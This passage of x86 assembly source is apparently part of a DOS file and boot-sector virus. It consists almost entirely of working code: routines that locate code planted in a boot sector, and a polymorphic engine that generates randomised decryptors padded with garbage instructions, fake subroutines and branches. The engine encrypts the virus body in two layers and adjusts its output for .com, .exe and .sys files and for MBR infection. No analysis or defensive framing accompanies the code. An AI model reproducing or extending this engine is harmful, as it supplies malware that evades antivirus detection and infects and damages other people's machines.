;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get position of code inserted into boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_position:
push cx

;Point di to offset in buffer


mov di,bx

;Get displacement
mov cx,word ptr es:[bx+01h]
mov al,byte ptr es:[bx]

;Check for short jump


cmp al,0EBh
jne check_jump

;Store 8bit displacement


xor ch,ch
jmp short add_offset
check_jump:
;Check for near jump
cmp al,0E9h
jne no_displacement
add_offset:
inc cx
inc cx
add di,cx
no_displacement:
pop cx
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Make a copy of file header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

copy_header:
;Copy header to buffer
push si
push di
push cx
push cs
pop es
mov si,offset file_buffer
mov di,offset old_header
mov cx,file_header_size
cld
rep movsb
pop cx
pop di
pop si
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

decrypt_header:

mov cx,file_header_size
push dx
pop si
mov al,byte ptr cs:[si+file_header_size]
restore_header:
sub byte ptr cs:[si+00h],al
inc si
loop restore_header
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Print string while producing some beeps ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

loop_beep_string:

;Get character
lodsb
or al,al
jnz print_that_char
ret

print_that_char:
;Print character
mov ah,09h
mov bx,0002h
mov cx,0001h
push si
int 10h

;Produce a click
call generate_beep

;Move cursor to next position


mov ah,03h
xor bh,bh
int 10h
inc dl
mov ah,02h
int 10h
pop si
jmp loop_beep_string

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a speaker beep ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

generate_beep:

mov cx,0008h
loop_click:
push cx

;Get attention of the 8253


mov al,0B6h
out 043h,al

;Sent frequency
xor ax,ax
dec ax
out 042h,al
mov al,ah
out 042h,al

;Send signal to speaker


in al,61h
or al,03h
out 061h,al

;Sound duration
mov cx,0FFFFh
wait_cycle:
loop wait_cycle

;Clear signal
in al,061h
and al,0FCh
out 061h,al
pop cx
loop loop_click
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic engine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_encrypt:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

;Reset pointer to random data


mov word ptr cs:[rnd_pointer][bp],bp

try_new_generation:

;Initialize engine
xor ax,ax
lea di,word ptr [poly_data][bp]
;Clear last_subrotine
mov word ptr cs:[di+04h],ax

;Clear decrypt_sub
mov word ptr cs:[di+06h],ax

;Clear last_fill_type
mov word ptr cs:[di],ax
dec ax

;Clear last_step_type
mov word ptr cs:[di+02h],ax

;Clear last_int_type
mov byte ptr cs:[di+0Ah],al

;Clear decrypt_pointer
mov byte ptr cs:[di+0Bh],al

;Get base address for memory operations


mov ax,offset virus_copy
add ax,word ptr cs:[file_delta][bp]
mov word ptr cs:[di+12h],ax

;Choose counter and pointer register


call get_rnd
and al,01h
mov byte ptr cs:[di+0Ch],al
get_si_di_off:
;Choose displacement from / to encrypted code
call get_rnd
or al,al
jz get_si_di_off
mov byte ptr cs:[di+14h],al

;Choose type of decrypt sequence


call get_rnd
and al,01h
mov byte ptr cs:[di+15h],al

get_decrypt_reg:

;Choose register for decryption instructions


call get_rnd
and al,38h

;Do not use bl or bh into .sys decryptors


cmp word ptr cs:[exit_address][bp],offset exit_com - \
offset host_ret
je ok_decrypt_reg

;Check if it is bl
cmp al,18h
je get_decrypt_reg

;Check if it is bh
cmp al,38h
je get_decrypt_reg

ok_decrypt_reg:

mov byte ptr cs:[di+0Dh],al


;Choose segment registers for memory operations
call get_seg_reg
mov byte ptr cs:[di+0Eh],al
call get_seg_reg
mov byte ptr cs:[di+0Fh],al
get_rnd_key:

;Get random crypt value


call get_rnd
or al,al
jz get_rnd_key
xchg bx,ax
mov byte ptr cs:[clave_crypt][bp],bl

;Fill our buffer with garbage


push cs
pop ds
mov es,word ptr cs:[poly_working_seg][bp]
mov di,word ptr cs:[poly_working_off][bp]
push di
mov cx,decryptor
cld
fill_rnd_2:
call get_rnd
stosb
loop fill_rnd_2
pop di
;Now es:di points to the buffer were engine put polymorphic code
choose_type:
;Select the type of filler
mov ax,(end_step_table-step_table)/02h
call rand_in_range

;Avoid same types in a row


cmp ax,word ptr cs:[last_step_type][bp]
je choose_type
mov word ptr cs:[last_step_type][bp],ax

;Get displacement into subroutine table


add ax,ax
add ax,bp
mov bx,ax

;Get subroutine address


mov ax,word ptr cs:[step_table+bx]

;Add delta offset


add ax,bp

;Save return address


lea bx,word ptr [step_return][bp]
push bx

;Save subroutine address


push ax

;This is for later operations


cld
ret
step_return:
;Check decryptor size
mov ax,di
sub ax,word ptr cs:[poly_working_off][bp]
cmp ax,decryptor
jb check_decryptor_ready
jmp try_new_generation

check_decryptor_ready:

;Check if decrytor already build


cmp byte ptr cs:[decrypt_pointer][bp],04h
jne choose_type

;Generate some garbage


call g_generator

;Generate a jump to virus body


mov al,0E9h
stosb
mov ax,decryptor
mov cx,word ptr cs:[poly_working_off][bp]
dec cx
dec cx
mov bx,di
sub bx,cx
sub ax,bx
stosw

;Copy virus body to the working area


lea si,word ptr [virus_body][bp]
mov di,word ptr cs:[poly_working_off][bp]
add di,decryptor
push di
mov cx,inf_byte_size-decryptor
cld
rep movsb

;Generate second encryption layer


mov ax,word ptr cs:[poly_working_off][bp]
mov bl,byte ptr cs:[clave_crypt][bp]
push bx
add ax,second_size
push es
pop ds
mov si,ax
mov di,ax
mov cx,inf_byte_size-(second_size+01h)

generate_second:

lodsb
add al,bl
stosb
inc bl
loop generate_second

;Generate polymorphic encryption


pop bx
pop di
mov si,di
mov cx,inf_byte_size-(decryptor+file_header_size+01h)

;Clear prefetch
db 0EBh,00h
load_crypt:
lodsb
encrypt_here:
;Encrypt instruction ( add/sub/xor al,bl )
db 00h,0C3h
stosb
loop load_crypt

;Restore all regs and return to infection routine


pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a valid opcode for memory operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

get_seg_reg:
cmp word ptr cs:[exit_address][bp],offset exit_com - \
offset host_ret
je use_ds_es

;Use just cs on .sys .exe files and floppy boot and hd mbr
mov al,2Eh
ret
use_ds_es:
;Use also ds es in .com files
call get_rnd
and al,18h
cmp al,10h
je get_seg_reg
or al,26h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate next decryptor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

next_decryptor:
;Next instruction counter
inc byte ptr cs:[decrypt_pointer][bp]

;Check for subroutines witch contains next decryptor instruction


cmp word ptr cs:[decrypt_sub][bp],0000h
je build_now

;If so build a call instruction to that subroutine


call do_call_decryptor
ret
build_now:
;Else get next instruction to build
mov bl,byte ptr cs:[decrypt_pointer][bp]

;Generate decryption instructions just into subroutines


cmp bl,02h
jne entry_from_sub

;No instruction was created so restore old pointer


dec byte ptr cs:[decrypt_pointer][bp]
ret
entry_from_sub:
;Entry point if calling from decryptor subroutine building
xor bh,bh
add bx,bx
add bx,bp

;Build instruction
mov ax,word ptr cs:[instruction_table+bx]
add ax,bp

;Save subroutine address


push ax
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load counter register ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inst_load_counter:

mov al,0BEh
add al,byte ptr cs:[address_register][bp]
stosb

;Store size of encrypted data


mov ax,inf_byte_size-(decryptor+file_header_size+01h)
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load pointer to encrypted data ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inst_load_pointer:
;Generate garbage
call g_generator

;Pointer reg determination


mov al,0BFh
sub al,byte ptr cs:[address_register][bp]
stosb

;Store offset position of encrypted data


mov bx,offset virus_body

;Add delta offset


add bx,word ptr cs:[file_delta][bp]

;Include displacement
mov al,byte ptr cs:[displ_si_di][bp]
cbw
add ax,bx
stosw

;Generate garbage
call g_generator
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt one byte from encrypted data area ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inst_decrypt_one:

;Check type of decrypt sequence


cmp byte ptr cs:[decrypt_seq],00h
jne decrypt_with_reg

;Decode add/sub/xor byte ptr seg:[si/di+displ],key


mov ah,80h
mov al,byte ptr cs:[address_seg_1][bp]
stosw

;Store operation
mov ax,(end_fast_table-fast_table)/02h
call rand_in_range

;Get displacement into subroutine table


add ax,ax
add ax,bp
mov bx,ax

;Get opcode
mov ax,word ptr cs:[fast_table+bx]
mov byte ptr cs:[encrypt_here][bp],ah
xor al,byte ptr cs:[address_register][bp]
stosb
mov al,byte ptr cs:[displ_si_di][bp]
neg al
mov ah,byte ptr cs:[clave_crypt][bp]
stosw
ret

decrypt_with_reg:

;Decode a mov reg,byte ptr seg:[key]


mov al,byte ptr cs:[address_seg_1][bp]
mov ah,8Ah
stosw
mov al,byte ptr cs:[decrypt_register][bp]
or al,06h
stosb

;Store position of encryption key


mov ax,offset clave_crypt

;Add delta offset


add ax,word ptr cs:[file_delta][bp]
stosw

;Decode a xor/add/sub byte ptr seg:[si/di+displ],reg


mov ax,(end_decrypt_table-decrypt_table)/02h
call rand_in_range

;Get displacement into subroutine table


add ax,ax
add ax,bp
mov bx,ax

;Get opcode
mov ax,word ptr cs:[decrypt_table+bx]

;Write encrypt instruction


mov byte ptr cs:[encrypt_here][bp],al
mov al,byte ptr cs:[address_seg_2][bp]
stosw
mov al,byte ptr cs:[decrypt_register][bp]
or al,45h
xor al,byte ptr cs:[address_register][bp]
mov ah,byte ptr cs:[displ_si_di][bp]
neg ah
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Increment pointer to encrypted zone ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inst_inc_pointer:

mov al,47h
sub al,byte ptr cs:[address_register][bp]
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrement counter and loop ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inst_dec_loop:

;Decode a dec reg instruction


mov al,4Eh
add al,byte ptr cs:[address_register][bp]
stosb

;Decode a jz
mov al,74h
stosb
push di
inc di

;Generate some garbage instructions


call g_generator

;Decode a jmp to loop instruction


mov al,0E9h
stosb
mov ax,word ptr cs:[address_loop][bp]
sub ax,di
dec ax
dec ax
stosw

;Generate some garbage instructions


call g_generator

;Store jz displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a push reg + garbage + pop reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_push_g_pop:

;Build a random push pop


call do_push_pop

;Get pop instruction


dec di
mov al,byte ptr es:[di]
push ax
call g_generator
pop ax
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_subroutine:

cmp word ptr cs:[last_subroutine][bp],0000h


je create_routine
ret

create_routine:

;Generate a jump instruction


mov al,0E9h
stosb

;Save address for jump construction


push di

;Save address of subroutine


mov word ptr cs:[last_subroutine][bp],di

;Get subroutine address


inc di
inc di

;Generate some garbage code


call g_generator

;Insert ret instruction


mov al,0C3h
stosb

;Store jump displacement


mov ax,di
pop di
push ax
sub ax,di
dec ax
dec ax
stosw
pop di
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains one decryptor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

sub_decryptor:

cmp word ptr cs:[decrypt_sub][bp],0000h


je ok_subroutine
ret
ok_subroutine:

;Do not generate the loop branch into a subroutine


mov bl,byte ptr cs:[decrypt_pointer][bp]
inc bl
cmp bl,04h
jne no_loop_sub
ret
no_loop_sub:
;Generate a jump instruction
mov al,0E9h
stosb

;Save address for jump construction


push di

;Save address of subroutine


mov word ptr cs:[decrypt_sub][bp],di
inc di
inc di
push bx
call g_generator
pop bx
call entry_from_sub
call g_generator
build_return:
;Insert ret instruction
mov al,0C3h
stosb

;Store jump displacement


mov ax,di
pop di
push ax
sub ax,di
dec ax
dec ax
stosw
pop di
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to next decryptor subroutine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_call_decryptor:

cmp byte ptr cs:[decrypt_pointer][bp],02h


jne no_store_call

;Save position
mov word ptr cs:[address_loop][bp],di
no_store_call:
;Build a call to our subroutine
mov al,0E8h
stosb
mov ax,word ptr cs:[decrypt_sub][bp]
sub ax,di
stosw

;Do not use this subrotine again


mov word ptr cs:[decrypt_sub][bp],0000h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to a subroutine witch some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_call_garbage:

;Check if there is a subroutine to call


mov cx,word ptr cs:[last_subroutine][bp]
or cx,cx
jnz ok_call

;No, so exit
ret
ok_call:
;Build a call to our garbage subroutine
mov al,0E8h
stosb
mov ax,cx
sub ax,di
stosw

;Do not use this subrotine again


mov word ptr cs:[last_subroutine][bp],0000h
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a conditional jump followed by some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_branch:
;Generate a random conditional jump instruction
call get_rnd
and al,07h
or al,70h
stosb

;Save address for jump construction


push di

;Get subroutine address


inc di

;Generate some garbage code


call g_generator

;Store jump displacement


mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

g_generator:
;Get a random number for fill count
call get_rnd
and ax,03h

;Min 2, max 5 opcodes


inc ax
inc ax
next_fill:
push ax
new_fill:
;Check for .sys file
cmp word ptr cs:[exit_address][bp],offset exit_sys - \
offset host_ret
jne no_building_sys

last_byte_equal:

;Select the type of filler ( 01h byte instructions for .sys files )
mov ax,end_byte_table-one_byte_table
call rand_in_range

;Avoid same types in a row


cmp ax,word ptr cs:[last_fill_type][bp]
je last_byte_equal
mov word ptr cs:[last_fill_type][bp],ax

;Get one byte instruction


add ax,bp
mov bx,ax
mov al,byte ptr cs:[one_byte_table+bx]

;Store instruction
stosb
jmp op_return

no_building_sys:

;Select the type of filler


mov ax,(end_op_table-op_table)/2

;Do not generate int calls into boot sector or mbr decryptor
cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
offset host_ret
je eliminate_ints

;Do not generate int calls into decryption loop


cmp byte ptr cs:[decrypt_pointer][bp],01h
jb no_in_loop

eliminate_ints:
dec ax
dec ax
no_in_loop:
call rand_in_range

;Avoid same types in a row


cmp ax,word ptr cs:[last_fill_type][bp]
je new_fill
mov word ptr cs:[last_fill_type][bp],ax

;Get subroutine address


add ax,ax
add ax,bp
mov bx,ax
mov ax,word ptr cs:[op_table+bx]
add ax,bp

;Store return address


lea bx,word ptr [op_return][bp]
push bx

;Call subroutine
push ax
ret
op_return:
pop ax
dec ax
jnz next_fill
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,imm ( either 8 or 16 bit but never ax or sp,di,si or bp )³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

move_imm:
call get_rnd

;Get a reggie
and al,0Fh

;Make it a mov reg,


or al,0B0h
test al,08h
jz is_8bit_mov

;Make it ax,bx cx or dx
and al,0FBh
mov ah,al
and ah,03h

;Not ax or al
jz move_imm
stosb
call rand_16
stosw
ret
is_8bit_mov:
mov bh,al

;Is al?
and bh,07h

;Yeah bomb
jz move_imm
stosb
call get_rnd
stosb
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,reg ( never to al or ax ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

move_with_reg:

call rand_16

;Preserve reggies and 8/16 bit


and ax,3F01h

;Or it with addr mode and make it mov


or ax,0C08Ah
reg_test:
test al,1
jz is_8bit_move_with_reg

;Make source and dest = ax,bx,cx,dx


and ah,0DBh

is_8bit_move_with_reg:

mov bl,ah
and bl,38h

;No mov ax, 's please


jz move_with_reg

;Let's see if 2 reggies are same reggies


mov bh,ah
sal bh,1
sal bh,1
sal bh,1
and bh,38h

;Check if reg,reg are same


cmp bh,bl
jz move_with_reg
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Modify a mov reg,reg into an xchg reg,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

reg_exchange:
;Make a mov reg,reg
call move_with_reg

;But then remove it


dec di

;And take advantage of the fact the opcode is still in ax


dec di

;Was a 16 bit type?


test al,1b

;Yeah go for an 8 bitter


jnz reg_exchange
mov bh,ah

;Is one of reggies ax?


and bh,07h
;Yah so bomb
jz reg_exchange

;Else make it xchg ah,dl etc...


mov al,86h
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate push reg + pop reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_push_pop:
mov ax,(end_bytes_2-bytes_2)/2
call rand_in_range
add ax,ax
add ax,bp
mov bx,ax

;Generate push and pop instruction


mov ax,word ptr cs:[bytes_2+bx]

;Do not use bx on .sys files


cmp word ptr cs:[exit_address][bp],offset exit_sys - \
offset host_ret
